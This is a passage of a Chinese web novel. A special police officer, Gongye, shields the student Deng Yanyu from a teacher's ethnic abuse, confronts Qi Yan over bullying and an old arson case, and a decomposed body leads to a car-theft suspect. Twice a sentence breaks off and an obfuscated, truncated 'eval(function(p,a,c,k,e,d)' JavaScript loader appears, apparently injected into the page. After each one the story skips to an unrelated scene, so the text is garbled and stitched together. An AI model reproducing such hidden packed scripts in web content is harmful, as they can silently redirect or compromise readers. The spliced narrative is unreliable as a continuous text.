咖啡馆离学校近,开快点要不了几分钟就到了。校门口拉着伸缩门,公冶在外面停了车,陪邓烟雨往校门边上的岗亭走去,一个戴帽子的大叔在他们即将走近时慢慢推开了窗,好奇又警惕地打量这名绿眼警察。 公冶出示警证,和大叔交谈了几句,大叔伸长脖子瞅瞅人,再瞅瞅证,就差把他的证件抢来咬一口看是不是真的了。 “哎我知道,学校上月才发的通知……”大叔笑纹有点深,说了这句也没个下文。歌财大不久前刚对公美发放“许可证”,这个月就有人来“实行”,效率未免太快了些。 大叔瞥向后边的女孩,这女孩他认识,似乎是搬离了寝室住在外边,经常进进出出,确实是这里的学生。他点着头招了一下手,算是放行了。 “哪栋楼?” “就前面,还要走一段路,北面的楼。” 他们朝教学楼的方向快步走去,邓烟雨跟在后面,忍不住仰头看他—— 衣服略微紧了一点,裹着他的肩背腰身,她看着看着,思绪就如同插翅飞走一般,彻底不在这里了。 她习惯了他走在前面,替她挡住刺目的光芒,可她慢慢发觉,其实她非常需要太阳照着自己,而他最讨厌的就是暴露在这种强光下。 或许这就是两路人吧,她擅长释放负面情绪,绝不会内耗自己,大学被霸凌、表白被拒绝、螺蛳粉太难吃,她伤心发泄一阵就能重新振作,相反的,他做不到,他养成了“忍一忍就好”的消极思维定势,把压抑的难过的不好的全塞进自己的小玻璃瓶里,等哪天到了临界点,稍稍一碰便碎了。 从楚知元那里听说了他们童年的经历,邓烟雨起初只觉得可怜,如今一下子明白问题出在了哪,他幼时接受的教育太畸形,从小到大,几乎没有一个人称赞鼓励过他,顾令萍喜欢养小孩,因为他们有着最容易被污染的年纪,公冶当时再不听话,也被她潜移默化地奴化了,无休无止地为他人“贡献”成为了他活在世上的最大意义,警察这份极具正义感的职业,正好可以弄巧成拙麻痹他不健康的思想,和他卑微的人生观对号入座。 以致于当他真心去喜欢一个人,也要反思自己够不够格,要顾虑重重地判断自己的举动是否会伤到她,更近一步是否会对她产生不利因素。 他不该活得那么小心翼翼,连最爱的小提琴也不多碰,家里都不放一把,他生怕自己有了别的想法,想离开公安,想去过自己真正热爱的生活,这在他眼里就是辜负背叛了曾经救过他的熊小滚和朗玉山,面对救命恩人,他被奴化的思想会一遍遍警告他,你得为他们奉献至死。 邓烟雨后背发凉,不愿再往下探寻,顾令萍这个人令她毛骨悚然。 每次一问及顾令萍,楚知元总是闪烁其词,除了害怕,可能连他自己都说不出个所以然。 为什么要被一个无关紧要的人伤害成这样,他们不该因为别人的一句话、一道眼神,就轻易左右自己的人生。 邓烟雨放慢了脚步,渐渐把距离拉开了,树荫筛出又圆又轻的光斑,在地面与草叶间游来游去,宛如一池破碎的星星划过人们身上。公冶在婆娑的光影之间前行,碎光不断围绕他流恋他,可他走得太快,没有一颗星星能追上。 是真的讨厌这点光,还是太渴望了,渴望到不敢想象它们会为自己停留?豢养在金笼里的病鹰早已放弃了飞翔,却时刻担忧自己的翅膀会退化,又不愿相信自己有冲破囚笼的能力,有去往自由里的那一天。 邓烟雨眼中仅黯然一瞬,便迈大步伐,追上了他。 这身警服于他而言是很安稳的保护伞,也禁锢了他一生。 她该怎么帮他? 公冶忽然站住不走了,邓烟雨来不及刹车,一头撞在他背上。 “小雨,你来带路好吗?” “啊?” “这不对吧。” 邓烟雨捂着磕痛的鼻子,一路上她都在出神,这会儿终于看了路,他们居然走到操场边上来了。 “教学楼在反方向,你怎么……” 她说不下去了,也想起来了,这家伙路痴,东西南北更分不清,即便画了路线图他也能给你走到一个不可思议的地方。 公冶低头看她揉鼻子,说:“走路也能发呆啊?” 邓烟雨:“我发呆也能走对路。” 公冶:“……” 赶到教学楼,离下课已经不远了,两个人都心如死灰,邓烟雨蹑手蹑脚推开教室后门,台上的女教授正扶着眼镜在喊人名。 邓烟雨听了听,说:“还没到我,我溜进去,要是没问题你就撤吧。” 没等公冶同意,她已经蹭着门缝闪进教室,把身体压到最低,躲在一长排紧凑的椅背后面鬼鬼祟祟地猫腰前进。庆威凤她们坐在后排,瞥见偷偷溜进来的邓烟雨,赶紧小心地招手。 “快啊烟雨……”蔡蔡指着自己身后的座,胜利就在眼前,她伸手想替邓烟雨挡一挡,即将成形的喜悦表情僵住了,“喂你……!” 邓烟雨头发一痛,抬头看见个邪笑的男生,他旁边坐着以前的室友,幸灾乐祸支着下巴看热闹。 不是吧! “胡老师——”男同学把邓烟雨用力扯起来,“有人整节课没来,知道要点名了就偷溜进来。” 邓烟雨被他扯到过道上狠狠一推,往前踉跄了几步,众人好奇地回头,胡老师也停止了点名,凝视她片刻,沉着脸说:“又是你。” 胡老师的专业课,早前她也迟到过两次,都是忘设闹钟睡过头了,也让胡老师记住了她这个上课不专心,不是睡觉就是发呆的懒惰学生。 周围窃窃私语着,议论声如一圈圈涟漪泛开,邓烟雨硬着头皮,在一片有瑕疵的寂静里穿过整间大教室,来到了讲台下:“老师对不起,我……” “不用跟我道歉,你既然觉得我的课不重要,大可以不来,我最厌烦屡教不改的人,你缺席我没意见,学分不够毕不了业也与我无关。” 邓烟雨脸皮薄,受不了在众目睽睽下被冷嘲热讽:“我是有原因的。” “你有什么原因,逃课还有原因?你长着眼睛是摆设吗,不看课表吗?” 胡老师一直不太喜欢邓烟雨,冷眼觑着她支吾半天,说出群里通知没看到的借口,积攒的火气爆发了:“邓烟雨,全班就你把责任推卸给了你们班长,那为什么别人可以赶来,你就要迟到一节课?有些同学也晚来了几分钟,我知晓原由所以不会多说什么,那你呢?” “又想说睡过头吗?” 胡老师铁着脸,甩上课本。 “我是……因为配合警方调查一起案件来晚了,不是故意……” “什么?”胡老师皱着眉没听清,眼底多了分嫌恶,“什么配合调查,你嘴里到底编了多少瞎话,灯港的人都像你这么不知廉耻吗?” 庆威凤听了这话差点跳起来,被蔡蔡拉住了。 胡老师偏头,将松散的发丝撩去耳后,从齿间挤出极轻的一句:“真是人比人气死人……” 邓烟雨全身刺痛,脑袋嗡嗡作响,仿佛溺在水中,耳畔传来几声同学模糊而泥泞的讥笑。 “老师,这和我是灯港人有什么关系……” “我们学校以前不止不录取美食家学生,灯港户籍的学生照样一律不收,我也奇怪为何要苛责至此,如今看到你算是明白了,你懒惰成性不思进取无非期末考拿个不及格,在这里撒谎,那就是人品问题了。” 邓烟雨握紧拳头,委屈地说:“我没撒谎,我是配合调查……” “够了,别挡在这了,我现在看见你就烦,不想听你狡辩,也不想和一个品性低劣的灯港人说话。” 欺负她的几个同学会心一笑,心情格外好,胡老师指向门口:“出去,我的课你以后不用再来。” “……” “出去!听到没有!” “老师。” 邓烟雨气得眼眶红了,但最后这声“老师”不是她叫的,也不是教室里哪个不读气氛的学生插了嘴。大家循声望向门口,一名黑衣警察立在那,警帽下压着一双冷淡的绿眼,标志性的国徽、银穗十分冲击眼球。 他叫了三遍,前两遍可能对方骂得太上头,没听到。 “邓烟雨没有逃课,我可以告知情况,麻烦您出来一下。” 在座大部分学生是第一次见到公美,尚未从惊愕中回神,胡老师也舌挢不下,好像有点怀疑自己是否在“禁止美食家出入”的校园。 “另外,”公冶顿了一下,似乎是考虑过后才决定说,“她上课迟到,和她是灯港人没有任何关系,您作为一名教师,理应具备良好的师德,不该对学生使用语言暴力,如果再有过激的言行举止,当众羞辱他人,无论是谁,我都会对其依法上铐。” 教室内噤若寒蝉,扯邓烟雨头发的男同学眼神飘忽,畏缩地吞咽着,胡老师立在至高的讲台上,脸莫名其妙红了一块,像被空气扇了一掌。 没想到他会动用职权为自己反击,邓烟雨大脑一团乱麻,人也怔怔的。 胡老师看一眼邓烟雨,收拢了面上的惊疑,走下讲台跟着警察出去了。门关上的瞬间,教室里如响而应炸开了锅。 有学生贴在窗边观望,但公冶和老师背着身交谈,啥也看不到。 “烟雨,”庆威凤跑到前面,拉住了她,“你还好吗,天呐,不哭不哭,这灭绝师太嘴巴太毒了,一个脏字都没有但就是能骂到人心坎上,好多人都被她骂得有苦难言呢,咱不理她。” 蔡蔡说:“正好趁此机会,让警察给她个教训。” “对对,”庆威凤说,“怎么回事啊,公冶警官怎么和你在一起?” “一个案子,我配合调查。” 下课铃响了,大家一窝蜂冲出教室,围聚在廊上,公冶看邓烟雨走来,比较温和地说:“我解释过了,下次再有类似情况发生,不要觉得难堪,和老师好好讲清楚,以免引起不必要的误会。” 邓烟雨一愣,再去看胡老师,胡老师脸色不大好,可能是缺个台阶。 “对不起胡老师,是我表述得不到位,让您误会了,对不起!” “没事,”胡老师摆手,“你是协助警方调查取证,情有可原,但下次不许睡过头不来我的课了。” 邓烟雨像小鸡啄米一个劲点头。 “好了好了都散了,不要挤在走廊上!”胡老师驱赶围过来的学生,有个男同学笑着说:“老师,我们都没见过公美,看一眼不行吗!” 女生们捂着脸轻声尖叫:“救命,是活的公美,太帅了吧,GS啥时候能来我们学校开讲座……” 邓烟雨待在公冶身边,看他们嘻嘻哈哈闹腾,激动地要拿手机拍照,竟有种出来遛狗,因为狗太漂亮了,被一群人围观夸赞的自豪感。 她这才意识到,原来公安美食家对大多数人来说就和神话中的龙一般神秘,人们普遍是通过虚拟的网络来认识了解这一特殊警力,现实生活中基本没机会遇到。 就她这颗多灾多难的倒霉蛋,电话簿里不止存了GS总部两个座机号码,连朗院长的手机号都要到了,这下她要找公冶,单位和福利院两头皆可查岗。 她悄悄扬眸观察他,公冶一脸淡漠,思绪根本不在这。 “公冶警官,”庆威凤搂着蔡蔡挤到最前面,“好久不见呀。” 公冶:“好久不见。” 给他贴上“渣男”标签的蔡蔡眼睛愣得发直,见他长成这样,二十多年来坚守“渣男就该天打雷劈”的传统观念也迫不得已动摇了。 他渣也有渣的道理。 “我要走了,后续想起和案情有关的事,找我和庄警官都可以。” “好的。” 学生们依依不舍散去,总算给公冶清出一条离开的路,他转身之际,冰封般的神容微不可察地一裂。 一个男人从后头走上来,扬开臂膀把邓烟雨拐进自己怀里,邓烟雨闻出蔚蓝的香水味,都不挣扎,那副无语的表情像被臭虫碰了。 “祁宴!”庆威凤一巴掌打在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“放屁,就因为一辆破车,你们怀疑我怀疑到现在,碍着我爸身份,面上不好查我,私底下把我行踪摸透了,你们条子闲出屎了吗?” “被监视了?” “废话啊!合着我前面叨叨了半天你一个字没听进?影青你稍微尊重一下我好不好?!”祁宴瞪了眼左侧的走廊,可能是有人要过来。 公冶正欲开口,楼下上来了几名学生,她们先惊讶地端详公冶,再惊恐地往楼上迈,提心吊胆路过了祁宴身边,赶紧一溜烟跑了。 祁宴明目张胆地堵在口子上,因此这条楼梯无权再有第三人靠近。他把乱了的碎发向后掠,大幅度的动作牵动了胸口的银链,一枚精致简约的纯银相片吊坠晃了出来。 公冶盯着吊坠,眸底情绪不明。 “你是不是后悔救了我?” 这问题问得找不着北,但公冶听懂了,短暂的寂静过后,他说:“有点。” 祁宴沉默了,这声回复在他意料之外。 “你在欺凌邓烟雨,是吗?” 祁宴眉端一紧。 “因为她是灯港来的,你看她不顺眼。” “嗯,”祁宴笑了,“超级不顺眼,谁叫她是灯港人,她会被霸凌,也是我把她来自灯港的消息散布出去的。” “那你日子过得不快乐,是活该,少在这里怨天尤人。”公冶说完迈开腿走了。 “她是灯港人的消息确实是我捅出去的,那天我喝醉了,说漏了嘴,绝对没有要找人去欺负她,我不是故意的。” 公冶站住了。 “我以为说过就翻篇了,没人在意,谁知道邓烟雨的室友反应那么激烈,还和傅贤玩到了一块,一起去欺凌她……我是讨厌她,但她在我面前一次也不肯低头,我只是让她给我道歉,她宁可被拖把水泼得浑身湿透……” “她凭什么给你道歉,”公冶再也压不住火气,“她和二〇七纵火案有一丁点关联吗,就因为她是灯港人?祁宴,这四年来你心智没成长,迁怒人的本事倒没少进步啊。” “别损我了!我已经够烦的了!” “谁想损你,”公冶烦躁地侧过了身,“和你的狐朋狗友说,以后不准再欺负邓烟雨,否则等着记过留档吧。” “哦,你想怎样?我再欺负她,你就要绑了我吗?” “你警匪片看多了。” “……” “听进去没?”公冶打量着一声不吭的祁宴,眉心郁结,“再让我看到邓烟雨哭,我第一个饶不了你。” 祁宴明显在生气,嘴唇抖了起来,冷漠地说:“我不会原谅她的。” 公冶恨铁不成钢:“你……” “要不是那三个灯港人,我哥我姐就不会死,”祁宴攥紧胸口的吊坠,脖子都梗红了,“事情没发生在你身上,你当然无关痛痒,可我永远记得,那三个恶魔在镜头前笑着说‘只烧死了两个,吃席都不够热闹’……影青,如果死的是你的亲人,你能原谅他们吗,从今往后,每当你听到一个人说我来自灯港,都会想起那天的大火,想起最爱的人在火海里哭叫、拍门……你能对着一个灯港人笑脸相迎和她友好相处吗?!你能吗?!” “她只是在灯港这片土地上生了下来,她又能决定什么?祁宴,你讨厌灯港人不是错,你遭遇了无妄之灾失去了至亲,所以你怨恨灯港人,无法接纳原谅他们,这些都没有错,二〇七纵火案有多惨烈我亲眼见过,我能理解你的心情,但邓烟雨有多无辜,谁来理解她?” “拿无辜的人泄愤出气,这和那三个杀人犯有何分别?” 祁宴向后退了一步,阳光染上他悲凉的眼角:“你又懂什么……” “祁樱当时拍门,不是为了求救,她怕你被浓烟呛得撑不住,她到最后都在喊你的名字。” “别说了……”祁宴捂住了脸,像被沉痛的巨石压到不得不弯下腰,哽咽的声息从掌缝里流出,“是啊,你说得没错,她凭什么给我道歉……” “那你呢,你当初干嘛要救我?” 四年前的大火烧了回来,别墅在眼前如碎土坍塌,消防指战员拦不住这名新来的实习特发警,眼看他扑入熊熊烈火,奇迹般从死神手里抢回了一条人命,而他自己则被烧得浑身没一块好肉,指骨都露了出来。 美食家最怕烧伤,面积太大会难以复原,公冶感觉那一次自己快死了,朗院长给他戴呼吸机的手抖个不停,急得眼泪都掉了。 “影青,那么近,就在隔壁房间,你为什么,不能再走一步……把我大哥大姐救出来啊……” “为什么那天……死的不是我。” 公冶深深皱眉,闭上了眼,没过多久,他轻声说:“就算活得再累,也不要去自杀,我不想救你第二次。” 祁宴喉结轻滚,放下手,不出声地望了他好久,然后冷笑了一声。 “不要再任性了,你明明可以拥有更好的人生。” 上课了,四周极静,公冶转过身,他面前是一条笔直的,向下延伸的路,正等待他踏足。 “影青,我没有杀人。” “裴远航不是我杀的。” 公冶抬起头,透过栏杆间隙,祁宴整个人浸在一轮日光里:“我绝对不会去杀人。” 庆生照里的裴远航和塑料袋里那堆腐臭的碎肉在脑海里相继闪过。公冶往下走了两步,说:“我知道你不会做。” 祁宴在原地站了站,再看过去时,那里只剩台阶,阳光晒着一角,有数不清的浮尘在那一角里游荡盘旋,闪着微末的光。 73. 刺青 临近下午四点,原以为有关公美的话题适可而止了,邓烟雨正常上着课,坐在一旁的蔡蔡大惊失色给她看了校园论坛,一小时前才发生的事竟然无胫而走在校内传开了—— 帖子置顶的照片里,公冶低着头和邓烟雨说话,英俊的侧脸与身后光影贴合得相得益彰,胸前警徽正对着镜头,连国花的光泽质感都拍出来了。 底下评论小到掐架站队,大到人肉搜索,一字一句如火上浇油掀起了不容忽视的热度。 【谁来写本高干甜宠文!“美貌冷艳一线女星X铁血精干特警队长”,这个警察的脸太值得代入了!】 【最好加入獠牙元素,女明星走红毯被拍到锁骨处有咬痕,想想就好磕!】 【有谁知道这位公美小哥哥的代号叫什么,GS总部的嘛?】 【我认识一个总部的公美,但不是他,他估计新来的,你们看肩章,这种级别应该是二级特发警】 【厌蠢症要犯了,微博还不够你们造的吗,公美也是能随便拍的?是一点法律常识都没有???】 【侵犯特殊独立警种的肖像权及隐私权要追究刑事责任,快删帖】 【少吓唬人,哪有你说得那么严重,别凡事都应激好吗?】 【不是吓唬你,公美和缉毒警一样属于高危职业,他们有上镜限制,只有电视台或报社的记者拿到公安的书面授权才可对公美进行拍摄宣传,目前也就歌华时报能登点信息,你们这样的行为构成犯罪了,快删掉吧集美】 【你以为公安机关给公美设置代号是为了什么?还不是为了保密身份,所以更不能让他们轻易露脸,刚给GS开放你们就整这出,别给歌财大抹黑啊】 【……】 庆威凤满脸问号:“我们好歹叫政法大学,怎么会出这么多法盲啊?”蔡蔡啧了声:“好过分,还把当红流量女星和公冶警官P在一起了。” 每条评论都像一把把高举的铁锹,只要顺出职业信息和代号,就能把公冶渡莲的一切掘地三尺挖出来。邓烟雨有种陷入围殴的窒息感。 她之前发现有人要拍他,但被胡老师及时制止了,GS去其他学校开办安全教育的讲座,十年如一日风平浪静,没有哪所大学会发生偷拍行为,歌财大好不容易对公美实行开放政策,理论上更应该加强建设与管控,哪想迎来的效果却是这样的? 邓烟雨拿出自己手机,点开那篇烫手的帖子:“都吵起来了,所以讨论热度高得离谱,快举报,全都举报掉。” “好好好,我举报了,老凤你也举报一下。” “嗯,我私信了管理员,他们马上会把帖子解决掉。” 班里一些同学也帮忙把帖子举报了。 他的脸被拍下来了——邓烟雨越想越心慌,惴惴不安了整节课,好在帖子很快被屏蔽,没有发酵到网络上。 下课后,庆威凤被不认识的学长叫走了,蔡蔡说可能又是一个临近毕业鼓起勇气告白的炮灰,拉着邓烟雨尾随到教学楼后边的情人坡。 湖畔柳树抽了嫩芽,微风徐拂,一男一女相对而立,低头未语,傻子都知道下一步要干嘛了。邓烟雨很想留下来听个结果,但离她打工的时间不远了,手中也有几本到期的书急着还。 “你去吧,”蔡蔡喜闻乐见地躲在树后,用袖子掩笑,“你看老凤,都在玩自己头发了,肯定又不成喽,等结束了我们来找你。” 邓烟雨走前留意了一眼,男方高高瘦瘦,戴着无框眼镜,文质见底。 “赌一包妙脆角,威凤会答应。” “赌一颗鸽子蛋,她不会。” 鸽子蛋代价太大,邓烟雨怕蔡蔡输得倾家荡产,作罢了赌局,跑着去了图书馆。 校图书馆造得恢弘大气,爬长阶如同登天梯,她吭哧吭哧爬到一半瞧见前面有个熟悉的背影,踟蹰了一阵便加快脚步追了上去。 “祁宴。” 祁宴听出来是谁了,臭着脸,十分别扭地回头,邓烟雨熟视无睹,轻飘飘地问道:“你真不记得是谁偷了你的车吗?” “关你毛事。” “被通缉的梁大谷你也不认识?” “我不和穷鬼说话。” “你要是肯认真动脑子想一想,说不定就能摆脱嫌疑了,也好给警方提供有利的线索。” “你干嘛这么上心?”祁宴胳膊下夹着一本书,“因为影青?” “难不成因为你?”邓烟雨平静反问,语气里并无额外的情愫,但祁宴听着就感觉她在嫌弃他。 “影青难得对我发脾气……呵,”祁宴把自己逗笑了,“他好像挺在意你。” 邓烟雨:“关你毛事。” “喂,你一个女孩子,说话能不能讲点礼貌?” “讲礼貌和性别无关吧,”邓烟雨后悔和他搭话了,抱着书,两三步超过了祁宴,“女人不讲礼就是泼妇,男人不讲礼就是男子气概,世上哪来这种比裹脚布还臭的歪理。” “还不是因为你们女生发出那样没见识的帖子,世人才会戴有色眼镜看待女性。” “帖子已经被举报掉了,被千千万万个女生举报的,”邓烟雨一脚站在了最高一层台阶上,转身说,“你一个大男人,心胸狭窄就算了,说的话还那么小家子气,遇到点事就以偏概全,像个喊冤枉的奴才嚷嚷得满皇宫都得知道你最委屈最可怜,依我看戴有色眼镜的是你才对,因为我们没戴,你便觉得我们另类,而你自己不摘眼镜,就永远看不到自己本身的问题。” 祁宴隐忍着怒意,和同样在隐忍怒意的邓烟雨长久地对视着。 “霸凌者施加在受害者身上的伤痕苦痛,终有一日会悉数返还到霸凌者自己身上,我才不会任由人践踏。” “逞一时口舌之快又如何,你能比得上我?”祁宴轻哼,“信么,你要这样和影青讲话,他也会像我一样大男子主义地教育你。” 邓烟雨毫不犹豫地对祁宴一笑:“他不会的,他不是你。” 祁宴不再说话,长风自上而下,吹开他的衣领,银色链条闪着冷光。 “神经病。” 祁宴骂完,也登上了最高的台阶,迈向平地。 “案子闹大了,总要抓个人交差,你爸不是神仙能保你万全,你就不能折个腰配合一下警方?” “嗬,好大的官威啊邓警官,你以后要去GS拖地皮吗?” “我开个大公司,把你们祁耀集团合并了。” “哈哈哈哈哈哈哈!!”祁宴笑得直拍大腿,“这是我今年听过最好笑的笑话!” “你就现在笑笑吧,去了拘留所可没这好笑话能听了。” 祁宴笑不出来了,垮起一张脸,说:“妈的,他们谁敢动我?” “公检法不会包庇任何人。” “……不,你错了,”祁宴仰头望天,想起那三个杀人犯还在牢里吃着热饭热菜,嘴角添起一抹嘲弄,“公检法才是恶人手中最好使的底牌,邓sir,你把世界看得太美好了。” 邓烟雨往耳边挥了挥手,似乎不愿把这句话记进脑袋里,不过邓sir这个称呼听着不赖。 “你看人挺准,我这辈子最恨那些高高在上的司法、颠倒黑白的警察,唯独影青……”祁宴扯了扯裤腿,像在唠家常,“他曾经救了我的命,差点用他的命换了我的命,我从没见过一个人为了陌生人拼命成这样,真不明白他啊,活着就不为自己考虑考虑吗?” 邓烟雨心一揪,抱着书本的手也紧了几分:“你既然担心他,就快点帮他把案子了结。” “都说了我记不起来了。” “那就从头想,从早上起床开始想,想到你什么时候发现车子不见的,你一个身价上亿的大少爷,成天招猫逗狗,宴请四方,出入你家的人比出入你家公司的人还多,你就……” “哎!”祁宴脑海里陡然蹿出了什么,手对着她一抬,“哎等等,我那天好像是办了场聚会,因为不怎么重要,我都忽略了……” 邓烟雨指着他:“你看吧,你看吧!我就说你脑子不好使……” 祁宴命令道:“别吵,让我好好想想!” 据祁宴所说,那天是2月14日,边牧杰西卡六岁的生日,他给宠物狗办了生日趴,闲着没事的少爷小姐皆来参加聚会了,中途他被灌得酩酊大醉,有人说没酒了要去买,向他借了辆车。 “怎么会没酒,我家可是有酒窖的啊。” 邓烟雨忽视了他在炫富的可能性:“还记得借车的人是谁吗?” “你觉得呢?” “得。”邓烟雨懒得再问,扭头就走了。 “这就放弃了?”祁宴玩世不羁地笑着,悠哉地跟在后面,“放心,外头大院有监……” 话没说完,有人用膝盖顶了他的腿窝,祁宴两腿发了软,直往下跪,差点咬到自己舌头。 庆威凤收回膝盖,绕过姿势狼狈的祁宴,轻笑:“跟那么近,想偷袭?” “你哪只眼睛看到我要偷袭她了,是你在偷袭我吧。”祁宴撞开她们,气呼呼往图书馆去。 “怎么样,学长和你告白了?”邓烟雨期待地看向她。 庆威凤不说话,搂住了邓烟雨,略显羞涩地点点头:“我答应了。” 邓烟雨满脸欣喜,差点哇出声,蔡蔡咬着棒棒糖,反而愣住了:“啊?我以为你拒绝了,我都没问你,你答应他的告白了?!” 已经走到门口的祁宴当即折返回来。 “我第一天来学校报道,是他帮我搬的行李,”庆威凤腼腆一笑,“他以为我早忘了,其实我都记着呢。” “老凤,没想到啊,你喜欢这一挂的。” “早知道跟你赌了,”邓烟雨悔不当初地跺脚,“我的鸽子蛋!” “瞧你不值钱的样子,不就鸽子蛋嘛,我给!”蔡蔡口气豪迈,“有只珠颈斑鸠在我家空调外机上筑了窝,下了两颗鸟蛋,我今晚回去偷一颗给你。” 邓烟雨恍然大悟:“你说的蛋是这个蛋啊。” “庆威凤!” 女生们被这一声怒吼惊到,只见祁宴如一堵墙挡在了面前,质问道:“你答应什么了?” “啊?” “宋博一个死读书的有什么好的?!” “啊?!”庆威凤叉腰,“谁说他死读书的,成绩好就叫死读书?” “一个苏赞还不够治你的恋爱脑吗,你选男人的眼光太差了吧!” “祁宴,你发什么羊癫疯,我和他交往怎么了,关你什么事?我眼光再差也轮不着你说三道四!” “你……他……那种男人一看就是妈宝男,根本不会疼人!” “他是不是妈宝男,会不会疼人,你怎么知道?你又算哪根葱啊?!” 邓烟雨和蔡蔡并不插嘴,看着他们吵得不可开交,默默交换了眼神,蔡蔡叹道:“当局者迷啊……” “我去还书了。”邓烟雨心情复杂地再看一眼祁宴,摇了摇头,离开了。 去打工前,庆威凤叫住了走到校门口的邓烟雨,取出自己的手帕翻开,一枝青白色的雕刻莲花躺卧在轻丝之上。 邓烟雨接过:“这是……” “昨晚我哥送你回家,在地铁口捡到了这枚胸针,他说是你掉的,让我务必带给你,今天下午一波三折的,我都忘了这茬了。” 邓烟雨如获至宝地捧着胸针,眼底有光潋滟开来:“威凤,太谢谢你了!” “哎哟,谢我干嘛,要谢去谢我哥,”庆威凤用手肘碰碰她,“哎,你俩怎么回事,第一次见面就一起回家了?” “不是你想的那样!”邓烟雨咣咣摇头,顿了顿又说,“我现在对这些不感兴趣,我要考证。” 蔡蔡肃然起敬,拉起她的手:“一起哇!我正缺个学习搭子!老凤脑瓜子转太快,她的学习速度我实在跟不上!” 邓烟雨回握:“好!” 她们准备一有空就泡图书馆看考证教材,庆威凤提议这周末上她家复习。走出校园没几步,邓烟雨整个人一定,毫无征兆地回了头。 “咋了?” “……我感觉有人在看我。” “啊?”蔡蔡来回张望,“谁啊?在哪?” “大概是我多虑了,走吧。” 邓烟雨迈步离开,无意间望向远处银杏树下,帕萨特早已不在那。 她收回目光,乘地铁去了星湖区。 公冶回到刑侦支队,与匆匆跑出来的技侦擦肩而过,踏进办公室的瞬间,一股下水道反臭的馊味扑面袭来,他捂住鼻子后退,紧接着就干呕了。 “青,你回来啦。”一名年轻刑警容光焕发地来迎接他。 “什么味……” “啊……?哦!中午有人吃螺蛳粉了啦。” “哪有在办公室吃的。” “帮帮忙啦,大家忙得晕头转向,脑子里除了案子就是在骂案子,吃完才想起来会有味,但已经来不及了,青你人美心善谅解一下嘛,”他拱起鼻子像只小狗嗅了嗅,“我觉得还好啊,开窗通风了味不是很重。” “我对气味敏感。” 年轻刑警一点即通,心疼地拍拍他背:“唉,苦了你了。” 办公室不见蒋淮和庄鹭,其余人也腌在螺蛳粉经久不衰的气味里,锁着眉头各忙各的没空抬头,直觉告诉他出事了:“怎么回事?” “吉祥井某间废酒厂发现一具男尸,蒋队带人出了现场刚回来,尸体巨人观了,开宇被熏得在车子里起不来……” 年轻刑警一边找着衣服上的线头,一边说:“也是搞笑,好好地在排查玉坊河小区,有个小学警跟你一样迷迷瞪瞪,走岔路绕进了旁边废弃的酿酒厂,顺着味就推开了门,差点没呕哭过去,里头不仅有具尸体肿得淌出尸水,几米开外还倒着一个活的。” 吉祥井邻近玉坊河,那一带荒烟蔓草,死个人在那,不臭到一定程度还真没法发现。公冶打算再问些细节,脸色倏忽一变,调头就走。 “影青你要去哪!”他一把抓住公冶,“这会儿谁逃谁孙子!” “谁说我要逃,办公室太臭了我不想待在这。” “那正好有个去处,”年轻刑警不松手,反加重了力道,“‘小可爱’已经推去解剖室了,你快换身防护服。” “为什么?!” 螺蛳粉再臭,和巨人观的恶臭相比简直不值一提,公冶这回真急了,一脸讨好地央求:“我不走了,我就留在这。” “哦?不是说办公室臭吗?” “不臭,一点都不臭,你不要把我交给路法医……” “实习生在现场就吐傻了一批,路法医嫌他们只会帮倒忙,要自己来。” “那不是很好吗?” “但路法医叮嘱了,你回来了,就叫你去她那,她点名要你看一眼。” 公冶百思不得其解:“我看了尸体还能复活不成?再说我又懒又没用能帮得上什么忙。” “瞧你说的,你哪里又懒又没用了,我们小青青最勇敢最敬业了,尸体颈部有疑似切割工具留下的痕迹,但不排除是遭到了尖牙啃噬,索主任和路法医坚持咬定不是美食家干的,蒋队却觉得肿成这样总要以防万一,要是死于烈性传染病那就糟了,你专业对口一认一个准,安心地去吧。” “我哪专业对口……这种索主任难道不能判断吗,别推我!” 大伙连哄带骗前呼后拥把公冶一路往解剖中心请,等完事出来,天已夕阳西下,公冶扶着墙一发不可收拾地干呕咳嗽,眼眶都湿了,有人拿了瓶水给他,他抬头一看,是暮火。 “还好吧?” “你……”公冶推开他的水,抖着指头,气都快断了,“你去……哪了……” “那种尸臭我不想再闻第二次,”暮火歉意满满地笑道,“影青,吃得苦中苦方为人上人,你是我们特发科的顶梁柱,你不上谁上。” “你走开!” “昨天我请假,蒋队拿你开刀了?” “对啊,你得赔我。” “赔,赔你一包烟。” “我又不是响尾。” “哈哈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦浩吞咽了一口:“来这约炮……这鬼地方探头都没一个,又偏,他不敢去酒店,之前被他老婆抓过一次,差点打到进医院……” 他像竹筒倒豆子提供了不少讯息,宝弘旗前几年打群架,左手断了无名指和小拇指,包括背上砍了条疤,种种特征均与尸体吻合。 刑警拿出裴远航的照片:“认识吗?” 秦浩摇摇头:“不认识。” 线索像一只飞得太高太远的风筝,明明可以感受到它拽拉的存在,却始终看不清二者之间连接的线。 公冶裤兜里的手机一直在震,震得他心烦,拿出来一看,“祁宴”两个字蹦在屏幕上,他一划接通:“喂。” “你忙吗?” “在开会很忙挂了。” “等等等!”祁宴对着空气翻了个白眼,“我知道偷我车的是谁了。” “谁?” “叫宝弘旗,宝贝的宝,弓字旁那个弘,旗帜的旗,先声明我和他不熟,就我一朋友的狗腿子,想认识我,求了我朋友带他上我家玩。2月14号以后我再没见过他,你们可该查查他偷了车子去哪浪了。” “祁宴,”公冶并未压着声,“关于他这个人,你知道多少说多少。” “哎哟喂,刚还说要挂我电话,这会儿……” “再见了。” “啊等一下!我有说不告诉你了吗!真是的……”热脸贴了冷屁股,祁宴没好气地坐下,“我说了你可别惊讶,他也许是抵美协会成员。” “你怎么知道?” “我爸不喜欢美食家,所以他以为我也不喜欢,为了讨好我,亲口跟我说他加入了抵美协会,还要为我争取入会名额。” 噩梦成真了。 